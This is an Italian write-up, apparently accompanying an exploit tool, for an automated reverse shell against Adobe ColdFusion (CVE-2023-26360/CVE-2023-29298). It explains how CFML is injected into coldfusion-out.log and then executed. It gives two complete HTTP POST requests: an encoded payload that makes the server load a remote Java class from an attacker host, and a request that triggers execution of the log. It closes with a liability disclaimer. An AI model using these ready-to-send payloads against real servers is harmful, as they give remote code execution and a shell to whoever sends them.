
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 implementazione automatizzata di reverse shell
Il principio della vulnerabilità è che i dati delle richieste del client CFML che costruiamo vengono salvati nel coldfusion-out.log del server; questa directory registra le informazioni sugli errori delle richieste. Nel file coldfusion-out.log c'è quindi il codice che abbiamo inserito, e poi usiamo il classname per leggere ed eseguire questo file di log, ottenendo così l'esecuzione di codice.
Qui ho un'idea: posizionare la classe malintenzionata sul server, che poi scarica, salva e invoca questo file di classe; sfruttando la vulnerabilità sopra descritta, il server caricherà dinamicamente la classe ed eseguirà il nostro file di classe.
Per questo scrivo uno script che genera un pacchetto compresso; all'interno del pacchetto compresso
Nella directory code del pacchetto compresso
utilize
├── address
└── Poc.class
Poc.java contiene principalmente il codice della reverse shell
address contiene l'indirizzo e la porta
Implementare queste funzionalità è davvero molto laborioso; ho scritto uno strumento di generazione automatica che costruisce il file bytecode Java, imposta l'IP e la porta della reverse shell e avvia il server web.
nome_strumento -host specifica l'IP della reverse shell -port specifica la porta della reverse shell -p specifica la porta HTTP (default 8888)

Diamo un'occhiata

Poi inviamo la richiesta per scrivere il codice di errore nel log; nella parte dati del POST qui sotto, sostituire http://192.168.191.58:8888/GjfZgo con l'indirizzo del server in esecuzione.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
Quindi per eseguire il codice nel log, inviare direttamente la richiesta fissa (hardcoded)
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
Eseguiamolo e vediamo: la shell è online.

\1. Questo strumento di sicurezza è destinato esclusivamente a scopi di ricerca tecnica e istruzione. Quando si utilizza lo strumento, rispettare leggi, regolamenti e codici etici applicabili.
\2. Questo strumento può comportare test di vulnerabilità di sicurezza e test di penetrazione; utilizzarlo solo nell'ambito autorizzato. In caso contrario, l'autore non è responsabile.
\3. L'utilizzo di questo strumento può comportare determinati rischi e incertezze; l'utente deve assumersi i rischi derivanti dall'uso dello strumento.
\4. Gli utenti che utilizzano questo strumento si assumono tutti i rischi e le responsabilità. Lo sviluppatore non si assume alcuna responsabilità per le conseguenze derivanti dall'uso dello strumento da parte degli utenti.